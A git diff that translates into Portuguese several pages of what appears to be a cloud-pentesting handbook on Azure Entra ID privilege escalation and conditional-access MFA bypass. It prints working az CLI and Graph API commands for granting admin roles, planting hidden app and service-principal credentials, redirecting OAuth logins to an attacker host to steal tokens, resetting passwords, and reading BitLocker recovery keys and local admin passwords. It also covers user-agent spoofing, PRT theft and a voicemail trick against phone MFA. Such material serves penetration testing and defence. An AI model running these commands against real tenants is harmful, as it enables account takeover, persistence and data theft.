'{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:/:ref:refs/heads/","audiences":["api://AzureADTokenExchange"]}}' # Example with specific data: az rest --method PUT \ - --uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \ - --headers "Content-Type=application/json" \ - --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' +--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \ +--headers "Content-Type=application/json" \ +--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 940e80bce..226ddab17 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,80 +3,71 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> Note that **not all the granular permissions** built-in roles have in Entra ID **are elegible to be used in custom roles.** +> Note que **nem todas as permissões granulares** dos papéis integrados no Entra ID **são elegíveis para serem usadas em papéis personalizados.** -## Roles +## Papéis -### Role: Privileged Role Administrator +### Papel: Administrador de Papéis Privilegiados -This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges. - -- Assign role to a user: +Este papel contém as permissões granulares necessárias para poder atribuir papéis a principais e para dar mais permissões a papéis. Ambas as ações podem ser abusadas para escalar privilégios. +- Atribuir papel a um usuário: ```bash # List enabled built-in roles az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/directoryRoles" +--uri "https://graph.microsoft.com/v1.0/directoryRoles" # Give role (Global Administrator?) to a user roleId="" userId="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \ - --headers "Content-Type=application/json" \ - --body "{ - \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" - }" +--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \ +--headers "Content-Type=application/json" \ +--body "{ +\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" +}" ``` - -- Add more permissions to a role: - +- Adicionar mais permissões a um papel: ```bash # List only custom roles az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)' +--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)' # Change the permissions of a custom role az rest --method PATCH \ - --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/" \ - --headers "Content-Type=application/json" \ - --body '{ - "description": "Update basic properties of application registrations", - "rolePermissions": [ - { - "allowedResourceActions": [ - "microsoft.directory/applications/credentials/update" - ] - } - ] - }' +--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/" \ +--headers "Content-Type=application/json" \ +--body '{ +"description": "Update basic properties of application registrations", +"rolePermissions": [ +{ +"allowedResourceActions": [ +"microsoft.directory/applications/credentials/update" +] +} +] +}' ``` - -## Applications +## Aplicações ### `microsoft.directory/applications/credentials/update` -This allows an attacker to **add credentials** (passwords or certificates) to existing applications. If the application has privileged permissions, the attacker can authenticate as that application and gain those privileges. - +Isso permite que um atacante **adicione credenciais** (senhas ou certificados) a aplicativos existentes. Se o aplicativo tiver permissões privilegiadas, o atacante pode se autenticar como esse aplicativo e obter essas permissões. ```bash # Generate a new password without overwritting old ones az ad app credential reset --id --append # Generate a new certificate without overwritting old ones az ad app credential reset --id --create-cert ``` - ### `microsoft.directory/applications.myOrganization/credentials/update` -This allows the same actions as `applications/credentials/update`, but scoped to single-directory applications. - +Isso permite as mesmas ações que `applications/credentials/update`, mas restrito a aplicativos de diretório único. ```bash az ad app credential reset --id --append ``` - ### `microsoft.directory/applications/owners/update` -By adding themselves as an owner, an attacker can manipulate the application, including credentials and permissions. - +Ao se adicionar como proprietário, um atacante pode manipular o aplicativo, incluindo credenciais e permissões. ```bash az ad app owner add --id --owner-object-id az ad app credential reset --id --append @@ -84,78 +75,66 @@ az ad app credential reset --id --append # You can check the owners with az ad app owner list --id ``` - ### `microsoft.directory/applications/allProperties/update` -An attacker can add a redirect URI to applications that are being used by users of the tenant and then share with them login URLs that use the new redirect URL in order to steal their tokens. Note that if the user was already logged in the application, the authentication is going to be automatic without the user needing to accept anything. - -Note that it's also possible to change the permissions the application requests in order to get more permissions, but in this case the user will need accept again the prompt asking for all the permissions. +Um atacante pode adicionar uma URI de redirecionamento a aplicativos que estão sendo usados por usuários do locatário e, em seguida, compartilhar com eles URLs de login que usam a nova URL de redirecionamento para roubar seus tokens. Observe que, se o usuário já estiver logado no aplicativo, a autenticação será automática, sem que o usuário precise aceitar nada. +Observe que também é possível alterar as permissões que o aplicativo solicita para obter mais permissões, mas, nesse caso, o usuário precisará aceitar novamente o prompt que solicita todas as permissões. ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" # Add a new redirect URI (make sure to keep the configured ones) az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" ``` - ## Service Principals ### `microsoft.directory/servicePrincipals/credentials/update` -This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges. - +Isso permite que um atacante adicione credenciais a principais de serviço existentes. Se o principal de serviço tiver privilégios elevados, o atacante pode assumir esses privilégios. ```bash az ad sp credential reset --id --append ``` - > [!CAUTION] -> The new generated password won't appear in the web console, so this could be a stealth way to maintain persistence over a service principal.\ -> From the API they can be found with: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` - -If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute: +> A nova senha gerada não aparecerá no console da web, então isso pode ser uma maneira discreta de manter a persistência sobre um principal de serviço.\ +> A partir da API, elas podem ser encontradas com: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` +Se você receber o erro `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, é porque **não é possível modificar a propriedade passwordCredentials** do SP e primeiro você precisa desbloqueá-la. Para isso, você precisa de uma permissão (`microsoft.directory/applications/allProperties/update`) que permite que você execute: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` - ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage` -This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges. - +Isso permite que um atacante adicione credenciais a principais de serviço existentes. Se o principal de serviço tiver privilégios elevados, o atacante pode assumir esses privilégios. ```bash az ad sp credential reset --id --append ``` - ### `microsoft.directory/servicePrincipals/owners/update` -Similar to applications, this permission allows to add more owners to a service principal. Owning a service principal allows control over its credentials and permissions. - +Semelhante a aplicativos, esta permissão permite adicionar mais proprietários a um principal de serviço. Possuir um principal de serviço permite controle sobre suas credenciais e permissões. ```bash # Add new owner spId="" userId="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \ - --headers "Content-Type=application/json" \ - --body "{ - \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" - }" +--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \ +--headers "Content-Type=application/json" \ +--body "{ +\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" +}" az ad sp credential reset --id --append # You can check the owners with az ad sp owner list --id ``` - > [!CAUTION] -> After adding a new owner, I tried to remove it but the API responded that the DELETE method wasn't supported, even if it's the method you need to use to delete the owner. So you **can't remove owners nowadays**. +> Após adicionar um novo proprietário, tentei removê-lo, mas a API respondeu que o método DELETE não era suportado, mesmo sendo o método que você precisa usar para remover o proprietário. Portanto, **você não pode remover proprietários atualmente**. -### `microsoft.directory/servicePrincipals/disable` and `enable` +### `microsoft.directory/servicePrincipals/disable` e `enable` -These permissions allows to disable and enable service principals. An attacker could use this permission to enable a service principal he could get access to somehow to escalate privileges. - -Note that for this technique the attacker will need more permissions in order to take over the enabled service principal. +Essas permissões permitem desabilitar e habilitar principais de serviço. Um atacante poderia usar essa permissão para habilitar um principal de serviço ao qual ele poderia obter acesso de alguma forma para escalar privilégios. +Observe que, para essa técnica, o atacante precisará de mais permissões para assumir o controle do principal de serviço habilitado. ```bash bashCopy code# Disable az ad sp update --id --account-enabled false @@ -163,11 +142,9 @@ az ad sp update --id --account-enabled false # Enable az ad sp update --id --account-enabled true ``` - #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -These permissions allow to create and get credentials for single sign-on which could allow access to third-party applications. - +Essas permissões permitem criar e obter credenciais para single sign-on, o que pode permitir o acesso a aplicativos de terceiros. ```bash # Generate SSO creds for a user or a group spID="" @@ -175,176 +152,155 @@ user_or_group_id="" username="" password="" az rest --method POST \ - --uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \ - --headers "Content-Type=application/json" \ - --body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}" +--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \ +--headers "Content-Type=application/json" \ +--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}" # Get credentials of a specific credID credID="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \ - --headers "Content-Type=application/json" \ - --body "{\"id\": \"$credID\"}" +--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \ +--headers "Content-Type=application/json" \ +--body "{\"id\": \"$credID\"}" ``` - --- -## Groups +## Grupos ### `microsoft.directory/groups/allProperties/update` -This permission allows to add users to privileged groups, leading to privilege escalation. - +Esta permissão permite adicionar usuários a grupos privilegiados, levando à escalada de privilégios. ```bash az ad group member add --group --member-id ``` - -**Note**: This permission excludes Entra ID role-assignable groups. +**Nota**: Esta permissão exclui grupos atribuíveis a funções do Entra ID. ### `microsoft.directory/groups/owners/update` -This permission allows to become an owner of groups. An owner of a group can control group membership and settings, potentially escalating privileges to the group. - +Esta permissão permite se tornar um proprietário de grupos. Um proprietário de um grupo pode controlar a associação e as configurações do grupo, potencialmente escalando privilégios para o grupo. ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id ``` - -**Note**: This permission excludes Entra ID role-assignable groups. +**Nota**: Esta permissão exclui grupos atribuíveis a funções do Entra ID. ### `microsoft.directory/groups/members/update` -This permission allows to add members to a group. An attacker could add himself or malicious accounts to privileged groups can grant elevated access. - +Esta permissão permite adicionar membros a um grupo. Um atacante poderia adicionar a si mesmo ou contas maliciosas a grupos privilegiados, o que pode conceder acesso elevado. ```bash az ad group member add --group --member-id ``` - ### `microsoft.directory/groups/dynamicMembershipRule/update` -This permission allows to update membership rule in a dynamic group. An attacker could modify dynamic rules to include himself in privileged groups without explicit addition. - +Esta permissão permite atualizar a regra de associação em um grupo dinâmico. Um atacante poderia modificar as regras dinâmicas para incluir a si mesmo em grupos privilegiados sem adição explícita. ```bash groupId="" az rest --method PATCH \ - --uri "https://graph.microsoft.com/v1.0/groups/$groupId" \ - --headers "Content-Type=application/json" \ - --body '{ - "membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")", - "membershipRuleProcessingState": "On" - }' +--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \ +--headers "Content-Type=application/json" \ +--body '{ +"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")", +"membershipRuleProcessingState": "On" +}' ``` +**Nota**: Esta permissão exclui grupos atribuíveis a funções do Entra ID. -**Note**: This permission excludes Entra ID role-assignable groups. +### Privesc de Grupos Dinâmicos -### Dynamic Groups Privesc - -It might be possible for users to escalate privileges modifying their own properties to be added as members of dynamic groups. For more info check: +Pode ser possível para os usuários escalarem privilégios modificando suas próprias propriedades para serem adicionados como membros de grupos dinâmicos. Para mais informações, consulte: {{#ref}} dynamic-groups.md {{#endref}} -## Users +## Usuários ### `microsoft.directory/users/password/update` -This permission allows to reset password to non-admin users, allowing a potential attacker to escalate privileges to other users. This permission cannot be assigned to custom roles. - +Esta permissão permite redefinir a senha de usuários não administradores, permitindo que um potencial atacante escale privilégios para outros usuários. Esta permissão não pode ser atribuída a funções personalizadas. ```bash az ad user update --id --password "kweoifuh.234" ``` - ### `microsoft.directory/users/basic/update` -This privilege allows to modify properties of the user. It's common to find dynamic groups that add users based on properties values, therefore, this permission could allow a user to set the needed property value to be a member to a specific dynamic group and escalate privileges. - +Essa permissão permite modificar as propriedades do usuário. É comum encontrar grupos dinâmicos que adicionam usuários com base nos valores das propriedades; portanto, essa permissão pode permitir que um usuário defina o valor da propriedade necessário para ser membro de um grupo dinâmico específico e escale privilégios. ```bash #e.g. change manager of a user victimUser="" managerUser="" az rest --method PUT \ - --uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \ - --headers "Content-Type=application/json" \ - --body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}' +--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \ +--headers "Content-Type=application/json" \ +--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}' #e.g. change department of a user az rest --method PATCH \ - --uri "https://graph.microsoft.com/v1.0/users/$victimUser" \ - --headers "Content-Type=application/json" \ - --body "{\"department\": \"security\"}" +--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \ +--headers "Content-Type=application/json" \ +--body "{\"department\": \"security\"}" ``` +## Políticas de Acesso Condicional e Bypass de MFA -## Conditional Access Policies & MFA bypass - -Misconfigured conditional access policies requiring MFA could be bypassed, check: +Políticas de acesso condicional mal configuradas que exigem MFA podem ser contornadas, verifique: {{#ref}} az-conditional-access-policies-mfa-bypass.md {{#endref}} -## Devices +## Dispositivos ### `microsoft.directory/devices/registeredOwners/update` -This permission allows attackers to assigning themselves as owners of devices to gain control or access to device-specific settings and data. - +Esta permissão permite que atacantes se atribuam como proprietários de dispositivos para ganhar controle ou acesso a configurações e dados específicos do dispositivo. ```bash deviceId="" userId="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \ - --headers "Content-Type=application/json" \ - --body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}' +--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \ +--headers "Content-Type=application/json" \ +--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}' ``` - ### `microsoft.directory/devices/registeredUsers/update` -This permission allows attackers to associate their account with devices to gain access or to bypass security policies. - +Esta permissão permite que atacantes associem sua conta a dispositivos para obter acesso ou contornar políticas de segurança. ```bash deviceId="" userId="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \ - --headers "Content-Type=application/json" \ - --body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}' +--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \ +--headers "Content-Type=application/json" \ +--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}' ``` - ### `microsoft.directory/deviceLocalCredentials/password/read` -This permission allows attackers to read the properties of the backed up local administrator account credentials for Microsoft Entra joined devices, including the password - +Esta permissão permite que atacantes leiam as propriedades das credenciais da conta de administrador local de backup para dispositivos associados ao Microsoft Entra, incluindo a senha. ```bash # List deviceLocalCredentials az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials" +--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials" # Get credentials deviceLC="" az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \ +--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \ ``` - ## BitlockerKeys ### `microsoft.directory/bitlockerKeys/key/read` -This permission allows to access BitLocker keys, which could allow an attacker to decrypt drives, compromising data confidentiality. - +Esta permissão permite acessar as chaves do BitLocker, o que pode permitir que um atacante decifre unidades, comprometendo a confidencialidade dos dados. ```bash # List recovery keys az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys" +--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys" # Get key recoveryKeyId="" az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" +--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" ``` - -## Other Interesting permissions (TODO) +## Outras permissões interessantes (TODO) - `microsoft.directory/applications/permissions/update` - `microsoft.directory/servicePrincipals/permissions/update` @@ -355,7 +311,3 @@ az rest --method GET \ - `microsoft.directory/applications.myOrganization/permissions/update` {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index 27bf965d0..63a3eca10 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -1,93 +1,90 @@ -# Az - Conditional Access Policies & MFA Bypass +# Az - Políticas de Acesso Condicional e Bypass de MFA {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -Azure Conditional Access policies are rules set up in Microsoft Azure to enforce access controls to Azure services and applications based on certain **conditions**. These policies help organizations secure their resources by applying the right access controls under the right circumstances.\ -Conditional access policies basically **defines** **Who** can access **What** from **Where** and **How**. +As políticas de Acesso Condicional do Azure são regras configuradas no Microsoft Azure para impor controles de acesso a serviços e aplicativos do Azure com base em certas **condições**. Essas políticas ajudam as organizações a proteger seus recursos aplicando os controles de acesso corretos nas circunstâncias adequadas.\ +As políticas de acesso condicional basicamente **definem** **Quem** pode acessar **O que** de **Onde** e **Como**. -Here are a couple of examples: +Aqui estão alguns exemplos: -1. **Sign-In Risk Policy**: This policy could be set to require multi-factor authentication (MFA) when a sign-in risk is detected. For example, if a user's login behavior is unusual compared to their regular pattern, such as logging in from a different country, the system can prompt for additional authentication. -2. **Device Compliance Policy**: This policy can restrict access to Azure services only to devices that are compliant with the organization's security standards. For instance, access could be allowed only from devices that have up-to-date antivirus software or are running a certain operating system version. +1. **Política de Risco de Login**: Esta política pode ser configurada para exigir autenticação multifator (MFA) quando um risco de login é detectado. Por exemplo, se o comportamento de login de um usuário for incomum em comparação com seu padrão regular, como fazer login de um país diferente, o sistema pode solicitar autenticação adicional. +2. **Política de Conformidade de Dispositivos**: Esta política pode restringir o acesso aos serviços do Azure apenas a dispositivos que estejam em conformidade com os padrões de segurança da organização. Por exemplo, o acesso pode ser permitido apenas a partir de dispositivos que tenham software antivírus atualizado ou que estejam executando uma versão específica do sistema operacional. -## Conditional Acces Policies Bypasses +## Bypasses de Políticas de Acesso Condicional -It's possible that a conditional access policy is **checking some information that can be easily tampered allowing a bypass of the policy**. And if for example the policy was configuring MFA, the attacker will be able to bypass it. +É possível que uma política de acesso condicional esteja **verificando algumas informações que podem ser facilmente manipuladas, permitindo um bypass da política**. E se, por exemplo, a política estiver configurando MFA, o atacante poderá contorná-la. -When configuring a conditional access policy it's needed to indicate the **users** affected and **target resources** (like all cloud apps). +Ao configurar uma política de acesso condicional, é necessário indicar os **usuários** afetados e os **recursos-alvo** (como todos os aplicativos em nuvem). -It's also needed to configure the **conditions** that will **trigger** the policy: +Também é necessário configurar as **condições** que irão **disparar** a política: -- **Network**: Ip, IP ranges and geographical locations - - Can be bypassed using a VPN or Proxy to connect to a country or managing to login from an allowed IP address -- **Microsoft risks**: User risk, Sign-in risk, Insider risk -- **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux - - If “Any device” is not selected but all the other options are selected it’s possible to bypass it using a random user-agent not related to those platforms -- **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients” - - To bypass login with a not selected option -- **Filter for devices**: It’s possible to generate a rule related the used device -- A**uthentication flows**: Options are “Device code flow” and “Authentication transfer” - - This won’t affect an attacker unless he is trying to abuse any of those protocols in a phishing attempt to access the victims account +- **Rede**: IP, intervalos de IP e localizações geográficas +- Pode ser contornado usando um VPN ou Proxy para se conectar a um país ou conseguindo fazer login a partir de um endereço IP permitido +- **Riscos da Microsoft**: Risco do usuário, risco de login, risco interno +- **Plataformas de dispositivos**: Qualquer dispositivo ou selecionar Android, iOS, Windows Phone, Windows, macOS, Linux +- Se “Qualquer dispositivo” não estiver selecionado, mas todas as outras opções estiverem selecionadas, é possível contorná-la usando um user-agent aleatório não relacionado a essas plataformas +- **Aplicativos cliente**: As opções são “Navegador”, “Aplicativos móveis e clientes de desktop”, “Clientes Exchange ActiveSync” e “Outros clientes” +- Para contornar o login com uma opção não selecionada +- **Filtro para dispositivos**: É possível gerar uma regra relacionada ao dispositivo usado +- **Fluxos de autenticação**: As opções são “Fluxo de código de dispositivo” e “Transferência de autenticação” +- Isso não afetará um atacante, a menos que ele esteja tentando abusar de qualquer um desses protocolos em uma tentativa de phishing para acessar a conta da vítima -The possible **results** are: Block or Grant access with potential conditions like require MFA, device to be compliant… +Os possíveis **resultados** são: Bloquear ou Conceder acesso com condições potenciais como exigir MFA, dispositivo em conformidade... -### Device Platforms - Device Condition +### Plataformas de Dispositivos - Condição do Dispositivo -It's possible to set a condition based on the **device platform** (Android, iOS, Windows, macOS...), however, this is based on the **user-agent** so it's easy to bypass. Even **making all the options enforce MFA**, if you use a **user-agent that it isn't recognized,** you will be able to bypass the MFA or block: +É possível definir uma condição com base na **plataforma do dispositivo** (Android, iOS, Windows, macOS...), no entanto, isso é baseado no **user-agent**, então é fácil de contornar. Mesmo **fazendo todas as opções exigirem MFA**, se você usar um **user-agent que não é reconhecido,** você poderá contornar o MFA ou bloqueio:
-Just making the browser **send an unknown user-agent** (like `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is enough to not trigger this condition.\ -You can change the user agent **manually** in the developer tools: +Basta fazer o navegador **enviar um user-agent desconhecido** (como `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) para não disparar essa condição.\ +Você pode alterar o user agent **manualmente** nas ferramentas de desenvolvedor:
- Or use a [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). + Ou usar uma [extensão de navegador como esta](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=pt). -### Locations: Countries, IP ranges - Device Condition +### Localizações: Países, intervalos de IP - Condição do Dispositivo -If this is set in the conditional policy, an attacker could just use a **VPN** in the **allowed country** or try to find a way to access from an **allowed IP address** to bypass these conditions. +Se isso estiver configurado na política condicional, um atacante poderia simplesmente usar um **VPN** no **país permitido** ou tentar encontrar uma maneira de acessar a partir de um **endereço IP permitido** para contornar essas condições. -### Cloud Apps +### Aplicativos em Nuvem -It's possible to configure **conditional access policies to block or force** for example MFA when a user tries to access **specific app**: +É possível configurar **políticas de acesso condicional para bloquear ou forçar**, por exemplo, MFA quando um usuário tenta acessar **um aplicativo específico**:
-To try to bypass this protection you should see if you can **only into any application**.\ -The tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) has **tens of application IDs hardcoded** and will try to login into them and let you know and even give you the token if successful. - -In order to **test specific application IDs in specific resources** you could also use a tool such as: +Para tentar contornar essa proteção, você deve ver se consegue **acessar qualquer aplicativo**.\ +A ferramenta [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) tem **dezenas de IDs de aplicativos codificados** e tentará fazer login neles e informá-lo, e até mesmo fornecer o token se for bem-sucedido. +Para **testar IDs de aplicativos específicos em recursos específicos**, você também pode usar uma ferramenta como: ```bash roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout ``` +Além disso, também é possível proteger o método de login (por exemplo, se você está tentando fazer login pelo navegador ou por um aplicativo de desktop). A ferramenta [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) realiza algumas verificações para tentar contornar essas proteções também. -Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also. +A ferramenta [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) também pode ser usada para propósitos semelhantes, embora pareça não estar mantida. -The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) could also be used to similar purposes although it looks unmantained. +A ferramenta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) também pode ser usada para testar essas proteções e ver se é possível contornar os MFAs ou bloqueios, mas essa ferramenta funciona a partir de uma perspectiva **whitebox**. Você primeiro precisa baixar a lista de aplicativos permitidos no inquilino e, em seguida, tentará fazer login neles. -The tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) can also be used to test this protections and see if it's possible to bypass MFAs or blocks, but this tool works from a **whitebox** perspective. You first need to download the list of Apps allowed in the tenant and then it will try to login into them. +## Outros Bypasses de Az MFA -## Other Az MFA Bypasses +### Toque de chamada -### Ring tone - -One Azure MFA option is to **receive a call in the configured phone number** where it will be asked the user to **send the char `#`**. +Uma opção de MFA do Azure é **receber uma chamada no número de telefone configurado**, onde será solicitado ao usuário que **envie o caractere `#`**. > [!CAUTION] -> As chars are just **tones**, an attacker could **compromise** the **voicemail** message of the phone number, configure as the message the **tone of `#`** and then, when requesting the MFA make sure that the **victims phone is busy** (calling it) so the Azure call gets redirected to the voice mail. +> Como os caracteres são apenas **tons**, um atacante poderia **comprometer** a mensagem de **correio de voz** do número de telefone, configurando como mensagem o **tom de `#`** e, em seguida, ao solicitar o MFA, garantir que o **telefone da vítima esteja ocupado** (ligando para ele) para que a chamada do Azure seja redirecionada para o correio de voz. -### Compliant Devices +### Dispositivos Compatíveis -Policies often asks for a compliant device or MFA, so an **attacker could register a compliant device**, get a **PRT** token and **bypass this way the MFA**. - -Start by registering a **compliant device in Intune**, then **get the PRT** with: +As políticas frequentemente exigem um dispositivo compatível ou MFA, então um **atacante poderia registrar um dispositivo compatível**, obter um **token PRT** e **contornar assim o MFA**. +Comece registrando um **dispositivo compatível no Intune**, então **obtenha o PRT** com: ```powershell $prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\.pfx -Credentials $credentials @@ -97,89 +94,72 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` - -Find more information about this kind of attack in the following page: +Encontre mais informações sobre esse tipo de ataque na seguinte página: {{#ref}} ../../az-lateral-movement-cloud-on-prem/pass-the-prt.md {{#endref}} -## Tooling +## Ferramentas ### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) -This script get some user credentials and check if it can login in some applications. +Este script obtém algumas credenciais de usuário e verifica se pode fazer login em alguns aplicativos. -This is useful to see if you **aren't required MFA to login in some applications** that you might later abuse to **escalate pvivileges**. +Isso é útil para ver se você **não precisa de MFA para fazer login em alguns aplicativos** que você pode posteriormente abusar para **escalar privilégios**. ### [roadrecon](https://github.com/dirkjanm/ROADtools) -Get all the policies - +Obtenha todas as políticas. ```bash roadrecon plugin policies ``` - ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep) -MFASweep is a PowerShell script that attempts to **log in to various Microsoft services using a provided set of credentials and will attempt to identify if MFA is enabled**. Depending on how conditional access policies and other multi-factor authentication settings are configured some protocols may end up being left single factor. 